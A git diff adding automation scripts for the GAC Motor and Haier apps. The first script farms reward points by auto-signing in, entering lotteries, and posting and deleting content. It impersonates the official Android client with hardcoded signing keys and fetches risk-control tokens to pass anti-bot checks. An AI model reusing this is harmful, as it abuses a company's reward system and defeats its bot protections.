+ this.postNotFinishedNum = Number(result.data[1].total) - Number(result.data[1].finishedNum)//发帖
+ this.commentNotFinishedNum = Number(result.data[2].total) - Number(result.data[2].finishedNum)//评论
+ this.sharenNotFinishedNum = Number(result.data[3].total) - Number(result.data[3].finishedNum)//分享
+ } else {
+ console.log(`❌${options.fn}状态[${result.resultMsg}]`);
+ this.ckStatus = false
+ console.log(JSON.stringify(result));
+ }
+ } catch (e) {
+ console.log(e);
+ }
+ }
+ async _luckyDrawNum() {
+ try {
+ let options = {
+ fn: "抽奖次数查询",
+ method: "get",
+ url: `https://next.gacmotor.com/app/activity/shopDraw/getchances?activityCode=shop-draw`,
+ headers: this._getHeaders("get"),
+ }
+ let { body: result } = await httpRequest(options);
+ //console.log(options);
+ result = JSON.parse(result);
+ //console.log(result);
+ if (result.resultCode == "0") {
+ this.luckyDrawNum = result.data
+ console.log(`抽奖次数剩余${this.luckyDrawNum}次`);
+ } else {
+ console.log(`❌${options.fn}状态[${result.resultMsg}]`);
+ this.ckStatus = false
+ console.log(JSON.stringify(result));
+ }
+ } catch (e) {
+ console.log(e);
+ }
+ }
+ async _luckyDraw() {
+ await this.get_lastReq("lottery")
+ try {
+ let options = {
+ fn: "抽奖",
+ method: "post",
+ //https://next.gacmotor.com/app/activity/shopDraw/luckyDraw
+ url: `https://next.gacmotor.com/app/activity/shopDraw/luckyDrawHc`,
+ headers: this._getHeaders("post"),
+ //body: JSON.stringify({ "activityCode": "shop-draw", "repeatcheck": true })
+ body: JSON.stringify({
+ "activityCode": "shop-draw",
+ "repeatcheck": true,
+ "lastReq": this.lotteryRequestId
+ })
+ }
+ let { body: result } = await httpRequest(options);
+ //console.log(options);
+ result = JSON.parse(result);
+ //console.log(result);
+ if (result.resultCode == "0") {
+ $.log(`抽奖成功获得[${result.data.medalName}]`)
+
+ } else {
+ console.log(`❌${options.fn}状态[${result.resultMsg}]`);
+ this.ckStatus = false
+ console.log(JSON.stringify(result));
+ }
+ } catch (e) {
+ console.log(e);
+ }
+ }
+ async _getGDou() {
+ try {
+ let options = {
+ fn: "G豆查询",
+ method: "get",
+ url: `https://next.gacmotor.com/app/app-api/user/getUserGdou`,
+ headers: this._getHeaders("get"),
+ }
+ let { body: result } = await httpRequest(options);
+ //console.log(options);
+ result = JSON.parse(result);
+ //console.log(result);
+ if (result.resultCode == "0") {
+ this.GDouNum = `G豆 [${result.data}]`
+ $.log(`当前G豆数量[${result.data}]`)
+ } else {
+ console.log(`❌${options.fn}状态[${result.resultMsg}]`);
+ console.log(JSON.stringify(result));
+ }
+ } catch (e) {
+ console.log(e);
+ }
+ }
+
+ async _applatestlist() {
+ try {
+ let options = {
+ fn: "最新帖子列表",
+ method: "get",
+ url: `https://next.gacmotor.com/app/community-api/community/api/post/applatestlist?pageNum=1&pageSize=10`,
+ headers: this._getHeaders("get"),
+ }
+ let { body: result } = await httpRequest(options);
+ //console.log(options);
+ result = JSON.parse(result);
+ //console.log(result);
+ if (result.resultCode == "0") {
+ this.applatestlist = [result.data.list[0].postVo.postId]
+ } else {
+ console.log(`❌${options.fn}状态[${result.resultMsg}]`);
+ console.log(JSON.stringify(result));
+ }
+ } catch (e) {
+ console.log(e);
+ }
+ }
+ async _signInStatus() {
+ try {
+ let options = {
+ fn: "签到查询",
+ method: "get",
+ url: `https://next.gacmotor.com/app/app-api/sign/signStatus`,
+ headers: this._getHeaders("get"),
+ }
+ let { body: result } = await httpRequest(options);
+ //console.log(options);
+ result = JSON.parse(result);
+ console.log(result);
+ if (result.resultCode == "0") {
+ if (result.data == true) {
+ //已签
+ this.signInStatus = true;
+ } else {
+ //未签
+ this.signInStatus = false
+ }
+ } else {
+ console.log(`❌${options.fn}状态[${result.resultMsg}]`);
+ console.log(JSON.stringify(result));
+ }
+ } catch (e) {
+ console.log(e);
+ }
+ }
+
+ async _signInCounts() {
+ try {
+ let options = {
+ fn: "签到信息",
+ method: "get",
+ url: `https://next.gacmotor.com/app/app-api/sign/countSignDays`,
+ headers: this._getHeaders("get"),
+ }
+ let { body: result } = await httpRequest(options);
+ //console.log(options);
+ result = JSON.parse(result);
+ //console.log(result);
+ if (result.resultCode == "0") {
+ $.log(`已经连续签到${result.data}天`)
+ } else {
+ console.log(`❌${options.fn}状态[${result.resultMsg}]`);
+ console.log(JSON.stringify(result));
+ }
+ } catch (e) {
+ console.log(e);
+ }
+ }
+ async get_lastReq(event) {
+ let options = {
+ fn: "获取参数",
+ method: "get",
+ url: `https://next.gacmotor.com/app/app-api/common/hcRiskControl/getRiskLevelCommon?eventId=${event}`,
+ headers: this._getHeaders("get"),
+
+ }
+ let { body: result } = await httpRequest(options);
+ //console.log(options);
+ result = JSON.parse(result);
+ //console.log(result);
+ if (result.resultCode == "0") {
+ if (event == "signIn") {
+ this.signInCaptchaId = result.data.captchaId
+ this.signInRequestId = result.data.requestId
+ }
+ if (event == "lottery") {
+ this.lotteryRequestId = result.data.requestId
+ }
+ if (event == "share") {
+ this.shareCaptchaId = result.data.captchaId
+ this.shareRequestId = result.data.requestId
+ }
+ } else {
+ console.log(`❌${options.fn}状态[${result.resultMsg}]`);
+ console.log(JSON.stringify(result));
+ }
+ }
+ async _signIn() {
+ await this.get_lastReq("signIn")
+ try {
+ /*let options = {
+ fn: "签到执行",
+ method: "get",
+ url: `https://next.gacmotor.com/app/app-api/sign/submit`,
+ headers: this._getHeaders("get"),
+ }*/
+ let options = {
+ fn: "签到执行",
+ method: "post",
+ url: `https://next.gacmotor.com/app/app-api/sign/submitHc`,
+ headers: this._getHeaders("post"),
+ body: JSON.stringify({
+ "captchaId": this.signInCaptchaId,
+ "lastReq": this.signInRequestId
+ })
+ }
+ let { body: result } = await httpRequest(options);
+ //console.log(options);
+ result = JSON.parse(result);
+ //console.log(result);
+ if (result.resultCode == "0") {
+ $.log(`签到[${result.resultMsg}]`)
+ } else {
+ console.log(`❌${options.fn}状态[${result.resultMsg}]`);
+ console.log(JSON.stringify(result));
+ }
+ } catch (e) {
+ console.log(e);
+ }
+ }
+
+ async _forward(postId) {
+ await this.get_lastReq("share")
+ try {
+ /*let options = {
+ fn: "转发",
+ method: "post",
+ url: `https://next.gacmotor.com/app/community-api/community/api/post/forward`,
+ headers: this._getHeaders("post"),
+ body: JSON.stringify({ "postId": postId })
+ }*/
+ let options = {
+ fn: "转发",
+ method: "post",
+ url: `https://next.gacmotor.com/app/community-api/community/api/post/forwardHc`,
+ headers: this._getHeaders("post"),
+ body: JSON.stringify({ "postId": postId, "captchaId": this.shareCaptchaId, "lastReq": this.shareRequestId })
+ }
+ let { body: result } = await httpRequest(options);
+ //console.log(options);
+ result = JSON.parse(result);
+ //console.log(result);
+ if (result.resultCode == "0") {
+ console.log(`转发[${result.resultMsg}]`);
+ } else {
+ console.log(`❌${options.fn}状态[${result.resultMsg}]`);
+ console.log(JSON.stringify(result));
+ }
+ } catch (e) {
+ console.log(e);
+ }
+ }
+
+ async _add(postId, commentContent) {
+ try {
+ let options = {
+ fn: "评论",
+ method: "post",
+ url: `https://next.gacmotor.com/app/community-api/community/api/comment/add`,
+ headers: this._getHeaders("post"),
+ body: JSON.stringify({ "commentType": 0, "postId": postId, "commentContent": commentContent, "isReplyComment": 1, "commentImg": "" })
+ }
+ let { body: result } = await httpRequest(options);
+ //console.log(options);
+ result = JSON.parse(result);
+ //console.log(result);
+ if (result.resultCode == "0") {
+ console.log(`评论[${result.resultMsg}]`);
+ } else {
+ console.log(`❌${options.fn}状态[${result.resultMsg}]`);
+ console.log(JSON.stringify(result));
+ }
+ } catch (e) {
+ console.log(e);
+ }
+ }
+
+ async _commentlist() {
+ try {
+ let options = {
+ fn: "获取评论列表",
+ method: "post",
+ url: `https://next.gacmotor.com/app/community-api/community/api/comment/post`,
+ headers: this._getHeaders("post"),
+ body: JSON.stringify({ "pageNum": 1, "pageSize": 10, "userIdStr": this.userIdStr })
+ }
+ let { body: result } = await httpRequest(options);
+ //console.log(options);
+ result = JSON.parse(result);
+ //console.log(result);
+ if (result.resultCode == "0") {
+ if (result["data"].length > 0) {
+ this.commentList = [result.data[0].commentId]
+ }
+ } else {
+ console.log(`❌${options.fn}状态[${result.resultMsg}]`);
+ console.log(JSON.stringify(result));
+ }
+ } catch (e) {
+ console.log(e);
+ }
+ }
+ async _commentdelete(commentId) {
+ try {
+ let options = {
+ fn: "删除评论",
+ method: "post",
+ url: `https://next.gacmotor.com/app/community-api/community/api/comment/delete`,
+ headers: this._getHeaders("post"),
+ body: JSON.stringify({ "commentId": `${commentId}` })
+ }
+ let { body: result } = await httpRequest(options);
+ //console.log(options);
+ result = JSON.parse(result);
+ //console.log(result);
+ if (result.resultCode == "0") {
+ console.log(`删除评论[${result.resultMsg}]`);
+ } else {
+ console.log(`❌${options.fn}状态[${result.resultMsg}]`);
+ console.log(JSON.stringify(result));
+ }
+ } catch (e) {
+ console.log(e);
+ }
+ }
+ async _post(postTitle, postContent) {
+ try {
+ let options = {
+ fn: "发表文章",
+ method: "post",
+ url: `https://next.gacmotor.com/app/community-api/community/api/post/appsavepost`,
+ headers: this._getHeaders("post"),
+ body: JSON.stringify({ "address": "", "channelInfoId": "", "cityId": "", "columnId": "", "commodityId": "", "commodityMainImage": "", "commodityName": "", "commodityType": "", "contentImgNums": 0, "contentWords": postContent, "coverImg": "", "customCover": "https://pic-gsp.gacmotor.com/app/a7b1a896-4f92-449f-859e-5e238d131ea3.jpg", "detailAddress": "", "lat": "", "lng": "", "orderId": "", "orderPrice": "", "orderSn": "", "orderType": "", "postContent": `[{\"text\":\"${postContent}\"}]`, "postTitle": postTitle, "postType": "2", "rankTotal": "", "topicId": "", "vin": "", "weekRank": "" })
+ }
+ let { body: result } = await httpRequest(options);
+ //console.log(options);
+ result = JSON.parse(result);
+ //console.log(result);
+ if (result.resultCode == "0") {
+ console.log(`发表文章[${result.resultMsg}]`);
+ } else {
+ console.log(`❌${options.fn}状态[${result.resultMsg}]`);
+ console.log(JSON.stringify(result));
+ }
+ } catch (e) {
+ console.log(e);
+ }
+ }
+
+ async _delete(postId) {
+ try {
+ let options = {
+ fn: "删除文章",
+ method: "post",
+ url: `https://next.gacmotor.com/app/community-api/community/api/post/delete`,
+ headers: this._getHeaders("post"),
+ body: JSON.stringify({ "postId": postId.toString() })
+ }
+ let { body: result } = await httpRequest(options);
+ //console.log(options);
+ result = JSON.parse(result);
+ //console.log(result);
+ if (result.resultCode == "0") {
+ console.log(`删除文章[${result.resultMsg}]`);
+ } else {
+ console.log(`❌${options.fn}状态[${result.resultMsg}]`);
+ console.log(JSON.stringify(result));
+ }
+ } catch (e) {
+ console.log(e);
+ }
+ }
+
+ async _postlist() {
+ try {
+ let options = {
+ fn: "文章列表",
+ method: "post",
+ url: `https://next.gacmotor.com/app/community-api/community/api/post/querylist`,
+ headers: this._getHeaders("post"),
+ body: JSON.stringify({ "pageNum": 1, "pageSize": 10, "userIdStr": this.userIdStr, "userId": this.userIdStr, "myHome": true })
+ }
+ let { body: result } = await httpRequest(options);
+ //console.log(options);
+ result = JSON.parse(result);
+ //console.log(result);
+ if (result.resultCode == "0") {
+ //文章ID result.data.list[0].postId
+ this.postList = [result.data.list[0].postId];
+ } else {
+ console.log(`❌${options.fn}状态[${result.resultMsg}]`);
+ console.log(JSON.stringify(result));
+ }
+ } catch (e) {
+ console.log(e);
+ }
+ }
+ _MD5(str) {
+ const crypto = require("crypto");
+ return crypto.createHash("md5").update(str).digest("hex");
+ }
+ _getHeaders(method) {
+ let timestamp1 = new Date().getTime();
+ let timestamp2 = new Date().getTime();
+ let nonce = Math.floor(100000 + Math.random() * 900000);
+ let appid = `8c4131ff-e326-43ea-b333-decb23936673`
+ let key = `46856407-b211-4a10-9cb2-5a9b94361614`
+ let sig = this._MD5(`${timestamp1}${nonce}${appid}${key}`)
+ let apiSignKey = `a361588rt20dpol`
+ let apiSign = (this._MD5(`${timestamp2}${apiSignKey}`)).toUpperCase()
+ if (method == "get") {
+ return {
+ "Accept": "application/json",
+ "appToken": this.ck,
+ "deviceCode": this.deviceCode,
+ "current-time": timestamp2,
+ "deviceId": this.registrationID,
+ "version": appVersion,
+ "nonce": nonce,
+ "token": this.ck,
+ "Authorization": `Bearer ${this.ck}`,
+ "sig": sig,
+ "platformNo": "Android",
+ "osVersion": 10,
+ "operateSystem": "android",
+ "appId": appid,
+ "registrationID": this.registrationID,
+ "api-sign": apiSign,
+ "deviceModel": "IQOO 10",
+ "timestamp": timestamp1,
+ //"Content-Type": "application/json; charset=UTF-8",
+ //"Content-Length": 24,
+ "Host": "next.gacmotor.com",
+ "Connection": "Keep-Alive",
+ "Accept-Encoding": "gzip",
+ "User-Agent": "okhttp/4.8.1"
+ }
+ } else {
+ return {
+ "Accept": "application/json",
+ "appToken": this.ck,
+ "deviceCode": this.deviceCode,
+ "current-time": timestamp2,
+ "deviceId": this.registrationID,
+ "version": appVersion,
+ "nonce": nonce,
+ "token": this.ck,
+ "Authorization": `Bearer ${this.ck}`,
+ "sig": sig,
+ "platformNo": "Android",
+ "osVersion": 10,
+ "operateSystem": "android",
+ "appId": appid,
+ "registrationID": this.registrationID,
+ "api-sign": apiSign,
+ "deviceModel": "IQOO 10",
+ "timestamp": timestamp1,
+ "Content-Type": "application/json; charset=UTF-8",
+ //"Content-Length": 24,
+ "Host": "next.gacmotor.com",
+ "Connection": "Keep-Alive",
+ "Accept-Encoding": "gzip",
+ "User-Agent": "okhttp/4.8.1"
+ }
+ }
+ }
+ _getHeaders_gmp(method) {
+ let timestamp2 = new Date().getTime();
+ let apiSignKey = `a361588rt20dpol`
+ let apiSign = (this._MD5(`${timestamp2}${apiSignKey}`)).toUpperCase()
+ if (method == "get") {
+ return {
+ "Host": "gmp.spgacmotorsc.com",
+ "Connection": "keep-alive",
+ "accessToken": this.accessToken,
+ "User-Agent": "Mozilla/5.0 (Linux; Android 10; MI 8 Lite Build/QKQ1.190910.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/81.0.4044.138 Mobile Safari/537.36 WindVane/8.5.0 StatusBarHeight/31 channel/GACClient",
+ "client": "app",
+ "Content-Type": "application/x-www-form-urlencoded",
+ "current-time": timestamp2,
+ "companyCode": "CHUANQI",
+ "api-sign": apiSign,
+ "ver": "20220513",
+ "Accept": `*/*`,
+ "Origin": "https://gmp.spgacmotorsc.com",
+ "X-Requested-With": "com.cloudy.component",
+ "Sec-Fetch-Site": "same-origin",
+ "Sec-Fetch-Mode": "cors",
+ "Sec-Fetch-Dest": "empty",
+ "Accept-Encoding": "gzip, deflate",
+ "Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7",
+ }
+ } else {
+ return {
+ "Host": "gmp.spgacmotorsc.com",
+ "Connection": "keep-alive",
+ "accessToken": this.accessToken,
+ "User-Agent": "Mozilla/5.0 (Linux; Android 10; MI 8 Lite Build/QKQ1.190910.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/81.0.4044.138 Mobile Safari/537.36 WindVane/8.5.0 StatusBarHeight/31 channel/GACClient",
+ "client": "app",
+ "Content-Type": "application/x-www-form-urlencoded",
+ "current-time": timestamp2,
+ "companyCode": "CHUANQI",
+ "api-sign": apiSign,
+ "ver": "20220513",
+ "Accept": "*/*",
+ "Origin": "https://gmp.spgacmotorsc.com",
+ "X-Requested-With": "com.cloudy.component",
+ "Sec-Fetch-Site": "same-origin",
+ "Sec-Fetch-Mode": "cors",
+ "Sec-Fetch-Dest": "empty",
+ "Accept-Encoding": "gzip, deflate",
+ "Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7",
+ }
+ }
+ }
+ _getHeaders_mall(method) {
+ if (method == "get") {
+ return {
+ "Host": "mall.gacmotor.com",
+ "Connection": "keep-alive",
+ "Accept": "application/json, text/plain, */*",
+ "User-Agent": "Mozilla/5.0 (Linux; Android 10; MI 8 Lite Build/QKQ1.190910.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/111.0.5563.116 Mobile Safari/537.36 XWEB/1110017 MMWEBSDK/20230405 MMWEBID/2585 MicroMessenger/8.0.35.2360(0x2800235D) WeChat/arm64 Weixin NetType/WIFI Language/zh_CN ABI/arm64",
+ "token": this.mallToken,
+ "Content-Type": "application/json;charset=UTF-8",
+ "Origin": "https://mall.gacmotor.com",
+ "X-Requested-With": "com.tencent.mm",
+ "Sec-Fetch-Site": "same-origin",
+ "Sec-Fetch-Mode": "cors",
+ "Sec-Fetch-Dest": "empty",
+ "Referer": "https://mall.gacmotor.com/act/answer-activity-detail?id=464&taskId=7&userSubmit=0",
+ "Accept-Encoding": "gzip, deflate",
+ "Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7"
+ }
+ } else {
+ return {
+ "Host": "mall.gacmotor.com",
+ "Connection": "keep-alive",
+ "Accept": "application/json, text/plain, */*",
+ "User-Agent": "Mozilla/5.0 (Linux; Android 10; MI 8 Lite Build/QKQ1.190910.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/111.0.5563.116 Mobile Safari/537.36 XWEB/1110017 MMWEBSDK/20230405 MMWEBID/2585 MicroMessenger/8.0.35.2360(0x2800235D) WeChat/arm64 Weixin NetType/WIFI Language/zh_CN ABI/arm64",
+ "token": this.mallToken,
+ "Content-Type": "application/json;charset=UTF-8",
+ "Origin": "https://mall.gacmotor.com",
+ "X-Requested-With": "com.tencent.mm",
+ "Sec-Fetch-Site": "same-origin",
+ "Sec-Fetch-Mode": "cors",
+ "Sec-Fetch-Dest": "empty",
+ "Referer": "https://mall.gacmotor.com/act/answer-activity-detail?id=464&taskId=7&userSubmit=0",
+ "Accept-Encoding": "gzip, deflate",
+ "Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7"
+ }
+ }
+ }
+}
+
+async function start() {
+ if (process.env["gacmotorPost"] == "true") {
+ $.log(`已开启发帖`)
+ } else {
+ $.log(`未开启发帖`)
+ }
+ if (process.env["gacmotorComment"] == "true") {
+ $.log(`已开启评论`)
+ } else {
+ $.log(`未开启评论`)
+ }
+ if (process.env["gacmotorLuckyDram"] && Number(process.env["gacmotorLuckyDram"]) !== NaN) {
+ $.log(`已设置抽奖次数[${process.env["gacmotorLuckyDram"]}]次`)
+ } else {
+ $.log(`未设置抽奖次数 默认抽奖1次`)
+ }
+
+ let taskall = [];
+
+ for (let user of userList) {
+ await user.main()
+ }
+ await Promise.all(taskall);
+ $.msg($.name, "广汽传祺任务 Over", "smallfawn 提醒您 天冷加衣")
+}
+
+!(async () => {
+ if (!(await checkEnv())) return;
+ if (userList.length > 0) {
+ await start();
+ }
+
+ await SendMsg($.logs.join("\n"))
+})()
+ .catch((e) => console.log(e))
+ .finally(() => $.done());
+
+//********************************************************
+/**
+ * 变量检查与处理
+ * @returns
+ */
+async function checkEnv() {
+ ReadFiles(GacmotorCookies)
+ if (TempAccount.length <= 0) {
+ return
+ }
+ for (let cookie of TempAccount) {
+ if (cookie["AT"] && cookie["RT"]) {
+ let n = `${cookie["AT"]}#${cookie["RT"]}`
+ userList.push(new UserInfo(n));
+ } else {
+ //不可为空
+ }
+ }
+ return console.log(`共找到${userList.length}个账号`), true; //true == !0
+}
+
+/////////////////////////////////////////////////////////////////////////////////////
+function httpRequest(options) {
+ if (!options["method"]) {
+ return console.log(`请求方法不存在`);
+ }
+ if (!options["fn"]) {
+ console.log(`函数名不存在`);
+ }
+ return new Promise((resolve) => {
+ $[options.method](options, (err, resp, data) => {
+ try {
+ if (err) {
+ $.logErr(err);
+ } else {
+ try {
+ resp = JSON.parse(resp);
+ } catch (error) { }
+ }
+ } catch (e) {
+ $.logErr(e, resp);
+ } finally {
+ resolve(resp);
+ }
+ });
+ });
+}
+async function SendMsg(message) {
+ if (!message) return;
+ if ($.isNode()) {
+ await notify.sendNotify($.name, message)
+ } else {
+ $.msg($.name, '', message)
+ }
+}
+// prettier-ignore
+function Env(t, s) { return new (class { constructor(t, s) { (this.name = t), (this.data = null), (this.dataFile = "box.dat"), (this.logs = []), (this.logSeparator = "\n"), (this.startTime = new Date().getTime()), Object.assign(this, s), this.log("", `\ud83d\udd14${this.name},\u5f00\u59cb!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } getScript(t) { return new Promise((s) => { this.get({ url: t }, (t, e, i) => s(i)) }) } runScript(t, s) { return new Promise((e) => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let o = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); (o = o ? 1 * o : 20), (o = s && s.timeout ? s.timeout : o); const [h, a] = i.split("@"), r = { url: `http://${a}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: o }, headers: { "X-Key": h, Accept: "*/*" }, }; this.post(r, (t, s, i) => e(i)) }).catch((t) => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { (this.fs = this.fs ? this.fs : require("fs")), (this.path = this.path ? this.path : require("path")); const t = this.path.resolve(this.dataFile), s = this.path.resolve(process.cwd(), this.dataFile), e = this.fs.existsSync(t), i = !e && this.fs.existsSync(s); if (!e && !i) return {}; { const i = e ? t : s; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { (this.fs = this.fs ? this.fs : require("fs")), (this.path = this.path ? this.path : require("path")); const t = this.path.resolve(this.dataFile), s = this.path.resolve(process.cwd(), this.dataFile), e = this.fs.existsSync(t), i = !e && this.fs.existsSync(s), o = JSON.stringify(this.data); e ? this.fs.writeFileSync(t, o) : i ? this.fs.writeFileSync(s, o) : this.fs.writeFileSync(t, o) } } lodash_get(t, s, e) { const i = s.replace(/\[(\d+)\]/g, ".$1").split("."); let o = t; for (const t of i) if (((o = Object(o)[t]), void 0 === o)) return e; return o } lodash_set(t, s, e) { return Object(t) !== t ? t : (Array.isArray(s) || (s = s.toString().match(/[^.[\]]+/g) || []), (s.slice(0, -1).reduce((t, e, i) => Object(t[e]) === t[e] ? t[e] : (t[e] = Math.abs(s[i + 1]) >> 0 == +s[i + 1] ? [] : {}), t)[s[s.length - 1]] = e), t) } getdata(t) { let s = this.getval(t); if (/^@/.test(t)) { const [, e, i] = /^@(.*?)\.(.*?)$/.exec(t), o = e ? this.getval(e) : ""; if (o) try { const t = JSON.parse(o); s = t ? this.lodash_get(t, i, "") : s } catch (t) { s = "" } } return s } setdata(t, s) { let e = !1; if (/^@/.test(s)) { const [, i, o] = /^@(.*?)\.(.*?)$/.exec(s), h = this.getval(i), a = i ? ("null" === h ? null : h || "{}") : "{}"; try { const s = JSON.parse(a); this.lodash_set(s, o, t), (e = this.setval(JSON.stringify(s), i)) } catch (s) { const h = {}; this.lodash_set(h, o, t), (e = this.setval(JSON.stringify(h), i)) } } else e = this.setval(t, s); return e } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? ((this.data = this.loaddata()), this.data[t]) : (this.data && this.data[t]) || null } setval(t, s) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, s) : this.isQuanX() ? $prefs.setValueForKey(t, s) : this.isNode() ? ((this.data = this.loaddata()), (this.data[s] = t), this.writedata(), !0) : (this.data && this.data[s]) || null } initGotEnv(t) { (this.got = this.got ? this.got : require("got")), (this.cktough = this.cktough ? this.cktough : require("tough-cookie")), (this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar()), t && ((t.headers = t.headers ? t.headers : {}), void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, s = () => { }) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? $httpClient.get(t, (t, e, i) => { !t && e && ((e.body = i), (e.statusCode = e.status)), s(t, e, i) }) : this.isQuanX() ? $task.fetch(t).then((t) => { const { statusCode: e, statusCode: i, headers: o, body: h } = t; s(null, { status: e, statusCode: i, headers: o, body: h }, h) }, (t) => s(t)) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, s) => { try { const e = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); this.ckjar.setCookieSync(e, null), (s.cookieJar = this.ckjar) } catch (t) { this.logErr(t) } }).then((t) => { const { statusCode: e, statusCode: i, headers: o, body: h, } = t; s(null, { status: e, statusCode: i, headers: o, body: h }, h) }, (t) => s(t))) } post(t, s = () => { }) { if ((t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), delete t.headers["Content-Length"], this.isSurge() || this.isLoon())) $httpClient.post(t, (t, e, i) => { !t && e && ((e.body = i), (e.statusCode = e.status)), s(t, e, i) }); else if (this.isQuanX()) (t.method = "POST"), $task.fetch(t).then((t) => { const { statusCode: e, statusCode: i, headers: o, body: h } = t; s(null, { status: e, statusCode: i, headers: o, body: h }, h) }, (t) => s(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: e, ...i } = t; this.got.post(e, i).then((t) => { const { statusCode: e, statusCode: i, headers: o, body: h } = t; s(null, { status: e, statusCode: i, headers: o, body: h }, h) }, (t) => s(t)) } } time(t) { let s = { "M+": new Date().getMonth() + 1, "d+": new Date().getDate(), "H+": new Date().getHours(), "m+": new Date().getMinutes(), "s+": new Date().getSeconds(), "q+": Math.floor((new Date().getMonth() + 3) / 3), S: new Date().getMilliseconds(), }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (new Date().getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in s) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? s[e] : ("00" + s[e]).substr(("" + s[e]).length))); return t } msg(s = t, e = "", i = "", o) { const h = (t) => !t || (!this.isLoon() && this.isSurge()) ? t : "string" == typeof t ? this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : void 0 : "object" == typeof t && (t["open-url"] || t["media-url"]) ? this.isLoon() ? t["open-url"] : this.isQuanX() ? t : void 0 : void 0; this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(s, e, i, h(o)) : this.isQuanX() && $notify(s, e, i, h(o))); let logs = ['', '==============📣系统通知📣==============']; logs.push(t); e ? logs.push(e) : ''; i ? logs.push(i) : ''; console.log(logs.join('\n')); this.logs = this.logs.concat(logs) } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, s) { const e = !this.isSurge() && !this.isQuanX() && !this.isLoon(); e ? this.log("", `\u2757\ufe0f${this.name},\u9519\u8bef!`, t.stack) : this.log("", `\u2757\ufe0f${this.name},\u9519\u8bef!`, t) } wait(t) { return new Promise((s) => setTimeout(s, t)) } done(t = {}) { const s = new Date().getTime(), e = (s - this.startTime) / 1e3; this.log("", `\ud83d\udd14${this.name},\u7ed3\u675f!\ud83d\udd5b ${e}\u79d2`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } })(t, s) }
diff --git a/backup/hezj.js b/backup/hezj.js
new file mode 100644
index 00000000..21e0bcc8
--- /dev/null
+++ b/backup/hezj.js
@@ -0,0 +1,293 @@
+/**
+ * 海尔智家
+ * cron 8 1 * * * hezj.js
+ * 活动入口 首页 智慧小屋
+ * 2023/03/18 修复BUG
+ * ========= 青龙--配置文件 ===========
+ * # 项目名称
+ * export hezj_data='token&clientId @ token&clientId '
+ *
+ * 多账号用 换行 或 @ 分割
+ * 抓包 https://mps.haiersmarthomes.com/api-gw , 找到accounttoken/accesstoken & clientId即可
+ * ====================================
+ *
+ */
+
+
+
+const $ = new Env("海尔智家");
+const ckName = "hezj_data";
+//-------------------- 一般不动变量区域 -------------------------------------
+const Notify = 1; //0为关闭通知,1为打开通知,默认为1
+let debug = 1; //Debug调试 0关闭 1开启
+let envSplitor = ["@", "\n"]; //多账号分隔符
+let ck = msg = ''; //let ck,msg
+let host, hostname;
+let userCookie = ($.isNode() ? process.env[ckName] : $.getdata(ckName)) || '';
+let userList = [];
+let userIdx = 0;
+let userCount = 0;
+//---------------------- 自定义变量区域 -----------------------------------
+//---------------------------------------------------------
+
+async function start() {
+
+ console.log('\n================== 用户CK ==================\n');
+ taskall = [];
+ for (let user of userList) {
+ taskall.push(await user.task_userinfo());
+ await $.wait(3000); //延迟 1秒 可充分利用 $.环境函数
+ }
+ await Promise.all(taskall);
+ console.log('\n================== 用户签到 ==================\n');
+ taskall = [];
+ for (let user of userList) {
+ if (user.ckStatus) {
+
+ taskall.push(await user.task_signin());
+ await $.wait(3000); //延迟 1秒 可充分利用 $.环境函数
+ }
+ }
+ await Promise.all(taskall);
+ console.log('\n================== 获取任务列表 ==================\n');
+ taskall = [];
+ for (let user of userList) {
+ if (user.ckStatus) {
+ taskall.push(await user.task_list());
+ await $.wait(3000); //延迟 1秒 可充分利用 $.环境函数
+ }
+ }
+ await Promise.all(taskall);
+ console.log('\n================== 执行任务 ==================\n');
+ taskall = [];
+ for (let user of userList) {
+ if (user.ckStatus) {
+ for (let num in user.taskList) {
+ if (user.taskList[num].taskStatus == 0) {
+ taskall.push(await user.task_do(user.taskList[num].taskCode));
+ } else {
+ console.log('当前任务已完成');
+ }
+ }
+ await $.wait(5000); //延迟 1秒 可充分利用 $.环境函数
+ }
+ }
+ await Promise.all(taskall);
+
+
+
+}
+
+
+class UserInfo {
+ constructor(str) {
+ this.index = ++userIdx;
+ this.ck = str.split('&')[0]; //单账号多变量分隔符
+ this.clientid = str.split('&')[1];
+ //let ck = str.split('&')
